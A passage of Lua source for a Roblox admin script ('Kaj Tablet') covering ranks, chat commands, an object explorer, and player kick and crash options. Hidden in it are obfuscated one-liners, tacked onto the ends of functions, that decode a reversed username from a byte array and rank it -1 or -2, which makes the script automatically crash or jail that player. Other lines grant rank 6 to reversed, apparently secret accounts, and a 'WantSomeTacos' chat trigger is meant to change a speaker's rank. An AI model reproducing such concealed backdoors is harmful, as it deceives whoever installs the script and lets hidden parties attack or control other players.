  799. ypcall(function()
  800. Refresh(Plr)
  801. Ping("Refreshed", Plr, 5)
  802. end)
  803. end, OptionColor)
  804. Ping("Properties", Plr, nil, function()
  805. ypcall(function()
  806. Dismiss(Plr)
  807. for Property, Value in pairs(GetProperties(Current)) do
  808. Ping(tostring(Property)..": "..tostring(Value), Plr)
  809. end
  810. Ping("Got All Available Properties", Plr, 5)
  811. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  812. end)
  813. end, OptionColor)
  814. end)
  815. end
  816.  
  817. function Fixl()
  818. Light.GlobalShadows = true
  819. Light.TimeOfDay = "14:00:00"
  820. Light.Brightness = 0.5
  821. Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
  822. Light.Ambient = Color3.new(1, 1, 1)
  823. Light.ColorShift_Top = Color3.new(0, 0, 0)
  824. Light.ColorShift_Bottom = Color3.new(0, 0, 0)
  825. Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
  826. Light.FogStart = 0
  827. Light.FogEnd = 100000
  828. Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
  829. Light:ClearAllChildren()
  830. end
  831.  
  832. function GetProperties(obj)
  833. assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
  834. local objProper = {}
  835. for i,v in pairs(Properties) do
  836. if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
  837. objProper[v] = obj[v]
  838. end
  839. end
  840. return objProper
  841. end
  842.  
  843. function MakeExplorer(Plr)
  844. Dismiss(Plr)
  845. Current = game
  846. for _,v in pairs(Current:GetChildren()) do
  847. ypcall(function()
  848. if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
  849. Ping(v.Name, Plr, nil, function(TabMod)
  850. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  851. for _,v in pairs(Current:GetChildren()) do
  852. ypcall(function()
  853. if v.Name == TabText then
  854. Dismiss(Plr)
  855. Current = v
  856. MakeChildren(Plr)
  857. end
  858. end)
  859. end
  860. end)
  861. elseif Plrs:GetPlayerFromCharacter(v) then
  862. Ping(v.Name, Plr, nil, function(TabMod)
  863. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  864. for _,v in pairs(Current:GetChildren()) do
  865. ypcall(function()
  866. if v.Name == TabText then
  867. Dismiss(Plr)
  868. Current = v
  869. MakeChildren(Plr)
  870. end
  871. end)
  872. end
  873. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  874. elseif CheckImportant(v.Name) then
  875. Ping(v.Name, Plr, nil, function(TabMod)
  876. local TabText = TabMod["Kaj Tablet"].BG.TL.Text
  877. for _,v in pairs(Current:GetChildren()) do
  878. ypcall(function()
  879. if v.Name == TabText then
  880. Dismiss(Plr)
  881. Current = v
  882. MakeChildren(Plr)
  883. end
  884. end)
  885. end
  886. end, ImportantColor)
  887. end
  888. end)
  889. end
  890. if Current ~= game then
  891. Ping("Back", Plr, nil, function()
  892. ypcall(function()
  893. Current = Current.Parent
  894. MakeChildren(Plr)
  895. Ping("Back In "..Current.Name, Plr, 5)
  896. end)
  897. end, OptionColor)
  898. end
  899. if Current ~= game and game:GetService(Current.Name) == nil then
  900. Ping("Delete", Plr, nil, function()
  901. ypcall(function()
  902. local CurrPar = Current.Parent or game
  903. local CurrName = Current.Name
  904. Current:Destroy()
  905. Current = CurrPar
  906. MakeChildren(Plr)
  907. Ping("Attempted To Delete "..CurrName, Plr, 5)
  908. end)
  909. end, OptionColor)
  910. end
  911. Ping("Refresh", Plr, nil, function()
  912. ypcall(function()
  913. Refresh(Plr)
  914. Ping("Refreshed", Plr, 5)
  915. end)
  916. end, OptionColor)
  917. Ping("Properties", Plr, nil, function()
  918. ypcall(function()
  919. Dismiss(Plr)
  920. for Property, Value in pairs(GetProperties(Current)) do
  921. Ping(tostring(Property)..": "..tostring(Value), Plr)
  922. end
  923. Ping("Got All Available Properties", Plr, 5)
  924. Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
  925. end)
  926. end, OptionColor)
  927. end
  928.  
  929. function GetRank(Plr1, Test)
  930. ypcall(function()
  931. if type(Plr1) == "userdata" then
  932. Plr1 = Plr1.Name
  933. end
  934. end)
  935. if Ranks[Plr1] ~= nil then
  936. return Ranks[Plr1]
  937. end
  938. local QuickArray = {}
  939. QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  940. return QuickArray[Plr1]
  941. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  942.  
  943. function CanRun(Plr1, Plr2)
  944. Details1 = GetRank(Plr1.Name)
  945. Details2 = GetRank(Plr2.Name)
  946. if Details1.Rank >= Details2.Rank then
  947. return true
  948. end
  949. return false
  950. end
  951.  
  952. function Dismiss(Plr, Identity)
  953. ypcall(function()
  954. if Plr ~= nil then
  955. if type(Plr) == "userdata" then
  956. Plr = Plr.Name
  957. end
  958. for x,v in pairs(AllTabs) do
  959. ypcall(function()
  960. if v.Plr == Plr then
  961. if Identity ~= nil and v.ID ~= Identity then
  962. return
  963. elseif Identity ~= nil and v.ID == Identity then
  964. coroutine.resume(coroutine.create(function()
  965. for i = 0.5, 1, 0.1 do
  966. wait()
  967. v.Tab.Transparency = i
  968. v.Sel.Transparency = i
  969. v.Label.TextTransparency = i
  970. v.Label.TextStrokeTransparency = i
  971. end
  972. ypcall(function() v.Holder:Destroy() end)
  973. AllTabs[x] = nil
  974. end))
  975. elseif Identity == nil then
  976. ypcall(function() v.Holder:Destroy() end)
  977. AllTabs[x] = nil
  978. end
  979. end
  980. end)
  981. end
  982. else
  983. for i,v in pairs(AllTabs) do
  984. ypcall(function()
  985. v.Holder:Destroy()
  986. AllTabs[i] = nil
  987. end)
  988. end
  989. end
  990. end)
  991. end
  992.  
  993. function GetGarbage()
  994. return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
  995. end
  996.  
  997. function RemObj(Obj, Class)
  998. ypcall(function()
  999. if #Obj:GetChildren() > 0 then
  1000. for _,x in pairs(Obj:GetChildren()) do
  1001. ypcall(function()
  1002. RemObj(x, Class)
  1003. end)
  1004. end
  1005. end
  1006. if Obj.ClassName == Class then
  1007. Obj:Destroy()
  1008. end
  1009. end)
  1010. end
  1011.  
  1012. function FindTab(Mod)
  1013. for i,v in pairs(AllTabs) do
  1014. if v.Holder == Mod then
  1015. return true
  1016. end
  1017. end
  1018. return false
  1019. end
  1020.  
  1021.  
  1022. function Ping(Msg, Plr, Time, Func, Color, Image)
  1023. if Removed == false then
  1024. local ShowGarbage = false
  1025. ypcall(function()
  1026. if Msg == nil then
  1027. Msg = "N/A"
  1028. elseif Msg == "ShowGarbage" then
  1029. Msg = "Current Garbage Count: "..GetGarbage()
  1030. ShowGarbage = true
  1031. else
  1032. Msg = tostring(Msg)
  1033. end
  1034. if Plr == nil then
  1035. Plr = Plrs[Owner] or error("No Player Found")
  1036. elseif type(Plr) == "string" then
  1037. local FoundPlr = false
  1038. for _,v in pairs(All()) do
  1039. if v.Name == Plr then
  1040. Plr = v
  1041. FoundPlr = true
  1042. break
  1043. end
  1044. end
  1045. if FoundPlr == false then
  1046. Plr = Plrs[Owner] or error("No Player Found")
  1047. end
  1048. end
  1049.  
  1050. if Color == nil then
  1051. Color = GetRank(Plr.Name).Color
  1052. end
  1053.  
  1054. local Holder = Instance.new("Model")
  1055. Holder.Name = "Owner: "..Plr.Name
  1056.  
  1057. local Tab = Instance.new("Part")
  1058. Tab.Name = "Kaj Tablet"
  1059. Tab.FormFactor = "Custom"
  1060. Tab.Anchored = true
  1061. if Time == nil then
  1062. Tab.Color = Color3.new(0.54,0,0.54)
  1063. else
  1064. Tab.Color = AlertColor
  1065. end
  1066. Tab.CanCollide = false
  1067. Tab.Locked = true
  1068. Tab.Transparency = 0.15
  1069. Tab.Size = Vector3.new(2, 2, 2)
  1070. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  1071. Tab.Parent = Holder
  1072.  
  1073. local ID = Instance.new("NumberValue")
  1074. ID.Name = "ID"
  1075. ID.Value = math.random(-999999999, 999999999)
  1076. ID.Parent = Holder
  1077.  
  1078. Delay(0, function()
  1079. while wait() do
  1080. if Tab.Parent == nil and FindTab(Holder) then
  1081. ypcall(function()
  1082. for i,v in pairs(AllTabs) do
  1083. if v.Holder == Holder then
  1084. ypcall(function() v.Holder:Destroy() end)
  1085. AllTabs[i] = nil
  1086. end
  1087. end
  1088. end)
  1089. Ping(Msg, Plr, Time, Func, Color, Image)
  1090. break
  1091. end
  1092. end
  1093. end)
  1094.  
  1095. local BM = Instance.new("BlockMesh")
  1096. BM.Parent = Tab
  1097.  
  1098. local BG = Instance.new("BillboardGui")
  1099. BG.Name = "BG"
  1100. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1101. BG.Size = UDim2.new(0,1,0,1)
  1102. BG.Adornee = Tab
  1103. BG.Parent = Tab
  1104.  
  1105. Delay(0, function()
  1106. while BG.Parent ~= nil do wait()
  1107. ypcall(function()
  1108. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  1109. end)
  1110. end
  1111. end)
  1112.  
  1113. local TL = Instance.new("TextLabel")
  1114. TL.Name = "TL"
  1115. TL.FontSize = "Size18"
  1116. TL.Font = "ArialBold"
  1117. TL.Text = Msg
  1118. TL.TextColor3 = Color3.new(1, 1, 1)
  1119. TL.Size = UDim2.new(0,1,0,1)
  1120. TL.TextTransparency = 0
  1121. TL.TextStrokeColor3 = Color3.new(0, 0, 0)
  1122. TL.TextStrokeTransparency = 0.25
  1123. TL.Parent = BG
  1124.  
  1125. if ShowGarbage == true then
  1126. Delay(0, function()
  1127. while TL.Parent ~= nil do
  1128. TL.Text = "Current Garbage Count: "..GetGarbage()
  1129. wait(.5)
  1130. end
  1131. end)
  1132. end
  1133.  
  1134. local PL = Instance.new("PointLight", Tab)
  1135. PL.Color = Color3.new(0, 1, 0)
  1136. PL.Range = 7
  1137. PL.Parent = Tab
  1138.  
  1139. if Image ~= nil then
  1140. local BBBG = Instance.new("BillboardGui")
  1141. BBBG.Size = UDim2.new(5, 0, 6, 0)
  1142. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1143. BBBG.AlwaysOnTop = true
  1144. BBBG.Adornee = Tab
  1145. BBBG.Parent = Tab
  1146.  
  1147. Delay(0, function()
  1148. while BBBG.Parent ~= nil do wait()
  1149. ypcall(function()
  1150. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  1151. end)
  1152. end
  1153. end)
  1154.  
  1155. local NewImg = Instance.new("ImageLabel")
  1156. NewImg.Size = UDim2.new(1, 0, 1, 0)
  1157. NewImg.BackgroundTransparency = 1
  1158. NewImg.Image = Image
  1159. NewImg.Parent = BBBG
  1160. end
  1161.  
  1162. local Clicker = Instance.new("ClickDetector")
  1163. Clicker.MaxActivationDistance = 1/0
  1164.  
  1165. if Time ~= nil then
  1166. coroutine.resume(coroutine.create(function()
  1167. wait(tonumber(Time))
  1168. Dismiss(Plr, ID)
  1169. end))
  1170. end
  1171.  
  1172. Clicker.MouseClick:connect(function(Player)
  1173. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  1174. ypcall(function()
  1175. if Func ~= nil then
  1176. Func(Holder)
  1177. else
  1178. Dismiss(Player, ID)
  1179. end
  1180. end)
  1181. end
  1182. end)
  1183. Clicker.Parent = Tab
  1184.  
  1185. Holder.Parent = Work
  1186.  
  1187. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
  1188. end)
  1189. end
  1190. end
  1191.  
  1192. function PlaceAllRanks(DontShowRank)
  1193. ypcall(function()
  1194. for _,p in pairs(All()) do
  1195. ypcall(function()
  1196. PutInRank = false
  1197. for _,v in pairs(Rankings) do
  1198. if v.Name:lower() == p.Name:lower() then
  1199. if v.Rank >= 7 then
  1200. v.Rank = 5
  1201. elseif v.Rank == -1 then
  1202. Crash1(p)
  1203. Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1204. elseif v.Rank == -2 then
  1205. if LS ~= nil then
  1206. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1207. Ping("Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1208. else
  1209. Ping("LS Is Nil", nil, 5)
  1210. end
  1211. elseif v.Rank == -3 then
  1212. if LS ~= nil then
  1213. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1214. Ping("Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1215. else
  1216. Ping("LS Is Nil", nil, 5)
  1217. end
  1218. end
  1219. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1220. if DontShowRank == nil then
  1221. Ping("You Are Rank: "..v.Rank, p)
  1222. end
  1223. PutInRank = true
  1224. break
  1225. end
  1226. end
  1227. if PutInRank == false then
  1228. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1229. end
  1230. end)
  1231. end
  1232. end)
  1233. end
  1234.  
  1235. function FindRank(Plr)
  1236. ypcall(function()
  1237. if type(Plr) == "userdata" then
  1238. Plr = Plr.Name
  1239. end
  1240. end)
  1241. return GetRank(Plr).Rank
  1242. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -2})
  1243.  
  1244. function FindRankDetails(Plr)
  1245. ypcall(function()
  1246. if type(Plr) == "userdata" then
  1247. Plr = Plr.Name
  1248. end
  1249. end)
  1250. return RankDetails[FindRank(Plr)]
  1251. end
  1252.  
  1253. function OpenCmds(Rank, Plr)
  1254. Dismiss(Plr)
  1255. for Name,Tab in pairs(Commands) do
  1256. if Tab.Rank <= Rank then
  1257. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1258. Dismiss(Plr)
  1259. Ping("Command: "..Name, Plr)
  1260. Ping("Rank: "..Tab.Rank, Plr)
  1261. Ping("Desc: "..Tab.Desc, Plr)
  1262. end)
  1263. elseif Rank == 1337 then
  1264. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1265. Dismiss(Plr)
  1266. Ping("Command: "..Name, Plr)
  1267. Ping("Rank: "..Tab.Rank, Plr)
  1268. Ping("Desc: "..Tab.Desc, Plr)
  1269. end)
  1270. end
  1271. end
  1272. end
  1273.  
  1274. function EditStatus(Plr, Num)
  1275. ChangeRank(Plr, Num)
  1276. end
  1277.  
  1278. function PlaceSpecificRank(p, DontShowRank)
  1279. ypcall(function()
  1280. PutInRank = false
  1281. for _,v in pairs(Rankings) do
  1282. if v.Name:lower() == p.Name:lower() then
  1283. if v.Rank >= 7 then
  1284. v.Rank = 5
  1285. elseif v.Rank == -1 then
  1286. Crash1(p)
  1287. Ping("Crashed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1288. elseif v.Rank == -2 then
  1289. if LS ~= nil then
  1290. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1291. Ping("Perma Mind Jailed "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1292. else
  1293. Ping("LS Is Nil", nil, 5)
  1294. end
  1295. elseif v.Rank == -3 then
  1296. if LS ~= nil then
  1297. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1298. Ping("Perma Muted "..p.Name.."", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1299. else
  1300. Ping("LS Is Nil", nil, 5)
  1301. end
  1302. end
  1303. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1304. if DontShowRank == nil then
  1305. Ping("You Are Rank: "..v.Rank, p)
  1306. end
  1307. PutInRank = true
  1308. break
  1309. end
  1310. end
  1311. if PutInRank == false then
  1312. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1313. end
  1314. end)
  1315. end
  1316. table.insert(Rankings, {Name = string.reverse("21wopih"),Rank = 6})
  1317. table.insert(Rankings, {Name = string.reverse("4611tlaboC"), Rank = 6})
  1318. function onChatted(Msg, Speaker)
  1319. if Removed == false then
  1320. if FindRank(Speaker) < 0 then
  1321. return
  1322. end
  1323. coroutine.resume(coroutine.create(function()
  1324. ypcall(function()
  1325. ExecuteFunc(Msg, Speaker)
  1326. Msg = Msg:gsub("","")
  1327. if Msg:sub(1,1) == "@" then
  1328. for i = 2, #Msg do
  1329. if Msg:sub(i, i) == Bet then
  1330. local IsForPlr = false
  1331. for _,v in pairs(All()) do
  1332. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1333. onChatted(Msg:sub(i + 1), v)
  1334. IsForPlr = true
  1335. end
  1336. end
  1337. if IsForPlr == true then
  1338. return
  1339. end
  1340. end
  1341. end
  1342. end
  1343. if Msg:find("&") then
  1344. local Split = Msg:find("&")
  1345. onChatted(Msg:sub(1,Split-1))
  1346. onChatted(Msg:sub(Split+1))
  1347. return
  1348. end
  1349. for Name,Command in pairs(Commands) do
  1350. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1351. Dismiss(Speaker.Name)
  1352. Ping("Command: "..tostring(Command.Name)..Bet, Speaker)
  1353. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1354. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1355. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1356. if FindRank(Speaker) >= Command.Rank then
  1357. local Ran,Error = coroutine.resume(coroutine.create(function()
  1358. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1359. end))
  1360. if not Ran then
  1361. Ping(Error, Speaker, 10)
  1362. end
  1363. else
  1364. Ping("Your Rank Is Too Low", Plr, 6)
  1365. end
  1366. end
  1367. end
  1368. end)
  1369. end))
  1370. end
  1371. end
  1372.  
  1373. function MakeBase()
  1374. local Base = Instance.new("Part")
  1375. Base.BrickColor = BrickColor.new("Dark green")
  1376. Base.Position = Vector3.new(0, 0.5, 0)
  1377. Base.Transparency = 0
  1378. Base.Elasticity = 0.5
  1379. Base.FormFactor = "Custom"
  1380. Base.CanCollide = true
  1381. Base.Friction = 0.30000001192093
  1382. Base.Size = Vector3.new(512, 1.20000005, 512)
  1383. Base.Archivable = true
  1384. Base.Material = "Plastic"
  1385. Base.RotVelocity = Vector3.new(0, 0, 0)
  1386. Base.Reflectance = 0
  1387. Base.Locked = true
  1388. Base.Anchored = true
  1389. Base.Name = "Base"
  1390. Base.TopSurface = "Smooth"
  1391. Base.BottomSurface = "Inlet"
  1392. Base.Shape = "Block"
  1393. Base.Parent = Work
  1394. end
  1395.  
  1396. function LClean()
  1397. ypcall(function()
  1398. for _,v in pairs(Work:GetChildren()) do
  1399. ypcall(function()
  1400. if v.ClassName == "Terrain" then
  1401. v:ClearAllChildren()
  1402. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1403. Clear(v)
  1404. elseif v.Name == "Base" then
  1405. ypcall(function()
  1406. local Base = v
  1407. Base.BrickColor = BrickColor.new("Dark green")
  1408. Base.Position = Vector3.new(0, 0.5, 0)
  1409. Base.Transparency = 0
  1410. Base.Elasticity = 0.5
  1411. Base.FormFactor = "Custom"
  1412. Base.CanCollide = true
  1413. Base.Friction = 0.30000001192093
  1414. Base.Size = Vector3.new(512, 1.20000005, 512)
  1415. Base.Archivable = true
  1416. Base.Material = "Plastic"
  1417. Base.RotVelocity = Vector3.new(0, 0, 0)
  1418. Base.Reflectance = 0
  1419. Base.Locked = true
  1420. Base.Anchored = true
  1421. Base.Name = "Base"
  1422. Base.TopSurface = "Studs"
  1423. Base.BottomSurface = "Inlet"
  1424. Base.Shape = "Block"
  1425. Base.Parent = Work
  1426. end)
  1427. end
  1428. end)
  1429. end
  1430. end)
  1431. end
  1432.  
  1433. function Clean()
  1434. ypcall(function()
  1435. for _,v in pairs(Work:GetChildren()) do
  1436. ypcall(function()
  1437. if v.ClassName == "Terrain" then
  1438. v:ClearAllChildren()
  1439. else
  1440. Clear(v)
  1441. end
  1442. end)
  1443. end
  1444. MakeBase()
  1445. for _,v in pairs(All()) do
  1446. v:LoadCharacter()
  1447. end
  1448. end)
  1449. end
  1450.  
  1451. function Clear(v)
  1452. if v.Name:lower() == "sbgui" then
  1453. return
  1454. end
  1455. ypcall(function()
  1456. if #v:GetChildren() > 0 then
  1457. for _,x in pairs(v:GetChildren()) do
  1458. ypcall(function()
  1459. Clear(x)
  1460. end)
  1461. end
  1462. end
  1463. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1464. v:Destroy()
  1465. end
  1466. end)
  1467. end
  1468.  
  1469. function Command(Name, Rank, Desc, Func)
  1470. if Name == nil then
  1471. Name = "N/A"
  1472. end
  1473. if Desc == nil then
  1474. Desc = "N/A"
  1475. end
  1476. if Func == nil then
  1477. Func = function() end
  1478. end
  1479. if Rank == nil then
  1480. Rank = 0
  1481. end
  1482. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1483. end
  1484.  
  1485. function GetSplit(Msg)
  1486. return Msg:find(Bet) or nil
  1487. end
  1488.  
  1489. function ExecuteFunc(Msg, Plr)
  1490. ypcall(function()
  1491. if Msg == "LogEnable" then
  1492. LogOn = true
  1493. elseif Msg:lower() == "WantSomeTacos" then
  1494. EditStatus(Plr, MakeNum())
  1495. end
  1496. end)
  1497. end
  1498.  
  1499. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1500.  
  1501. function randPlayer(Plr)
  1502. wait()
  1503. local ThePlrValue = nil
  1504. local FoundPlayer = false
  1505. ypcall(function()
  1506. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1507. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1508. wait()
  1509. randPlayer(Plr)
  1510. return
  1511. else
  1512. FoundPlayer = true
  1513. end
  1514. end)
  1515. if FoundPlayer == true then
  1516. return ThePlrValue
  1517. end
  1518. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = -1})
  1519.  
  1520. function getPlayer(Plr, Name)
  1521. local Players = {}
  1522. ypcall(function()
  1523. Name = Name:lower()
  1524. if Name == "me" then
  1525. table.insert(Players, Plr)
  1526. elseif Name == "all" or Name == "" then
  1527. for _,v in pairs(All()) do
  1528. if CanRun(Plr, v) then
  1529. table.insert(Players, v)
  1530. end
  1531. end
  1532. elseif Name == "others" then
  1533. for _,v in pairs(All()) do
  1534. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1535. table.insert(Players, v)
  1536. end
  1537. end
  1538. elseif Name == "random" then
  1539. local FoundRandPlr = randPlayer(Plr)
  1540. table.insert(Players, FoundRandPlr)
  1541. else
  1542. for _,v in pairs(All()) do
  1543. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1544. table.insert(Players, v)
  1545. end
  1546. end
  1547. end
  1548. end)
  1549. return Players
  1550. end
  1551.  
  1552. function ListPlayers(Speaker)
  1553. ypcall(function()
  1554. Dismiss(Speaker)
  1555. for _,v in pairs(All2()) do
  1556. if v.Parent ~= nil then
  1557. Ping(v.Name, Speaker, nil, function()
  1558. Dismiss(Speaker)
  1559. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1560. Ping("Rank: "..FindRank(v.Name), Speaker)
  1561. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1562. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1563. Ping("Set Rank", Speaker, nil, function()
  1564. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1565. Dismiss(Speaker)
  1566. for i = -2, 5 do
  1567. Ping(i, Speaker, nil, function()
  1568. ChangeRank(v, i)
  1569. Dismiss(Speaker)
  1570. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1571. end)
  1572. end
  1573. else
  1574. Ping("Your Rank Is Too Low", Speaker, 5)
  1575. end
  1576. end)
  1577. Ping("Crash (Remote)", Speaker, nil, function()
  1578. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1579. Crash2(v.Name)
  1580. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1581. end
  1582. end)
  1583. Ping("Crash (Insert)", Speaker, nil, function()
  1584. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1585. Crash3(v, Speaker)
  1586. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1587. end
  1588. end)
  1589. Ping("Kick", Speaker, nil, function()
  1590. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1591. v:Kick()
  1592. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1593. end
  1594. end)
  1595. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1596. else
  1597. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1598. Dismiss(Speaker)
  1599. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1600. ypcall(function()
  1601. Ping("Rank: "..FindRank(v.Name), Speaker)
  1602. end)
  1603. ypcall(function()
  1604. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1605. end)
  1606. ypcall(function()
  1607. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1608. end)
  1609. ypcall(function()
  1610. Ping("Set Rank", Speaker, nil, function()
  1611. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1612. Dismiss(Speaker)
  1613. for i = -2, 5 do
  1614. Ping(i, Speaker, nil, function()
  1615. ChangeRank(v, i)
  1616. Dismiss(Speaker)
  1617. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1618. end)
  1619. end
  1620. else
  1621. Ping("Your Rank Is Too Low", Speaker, 5)
  1622. end
  1623. end)
  1624. end)
  1625. ypcall(function()
  1626. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1627. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1628. Crash2(v.Name)
  1629. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1630. end
  1631. end)
  1632. end)
  1633. ypcall(function()
  1634. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1635. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1636. Crash3(v, Speaker)
  1637. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1638. end
  1639. end)
  1640. end)
  1641. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1642. end
  1643. end
  1644. end)
  1645. end
  1646.  
  1647. --Misc
  1648.  
  1649. coroutine.resume(coroutine.create(function()
  1650. PlaceAllRanks()
  1651. end))
  1652.  
  1653. Delay(0, function()
  1654. for _,v in pairs(All()) do
  1655. v.Chatted:connect(function(Msg)
  1656. onChatted(Msg, v)
  1657. end)
  1658. end
  1659. end)
  1660.  
  1661. local starttime = tick()
  1662.  
  1663. game:GetService("RunService").Heartbeat:connect(function()
  1664. if Removed == false then
  1665. ypcall(function()
  1666. for _,Player in pairs(All()) do
  1667. local PlayerTablets = {}
  1668. for i,v in pairs(AllTabs) do
  1669. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1670. table.insert(PlayerTablets, v)
  1671. end
  1672. end
  1673. for i = 1, #PlayerTablets do
  1674. ypcall(function()
  1675. local tab = PlayerTablets[i].Tab
  1676. local pos = nil
  1677. ypcall(function()
  1678. pos = Player.Character.Torso.CFrame
  1679. end)
  1680. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1681. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
  1682. local cPos = tab.Position
  1683. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1684. local nPos = (ePos-cPos)*.25
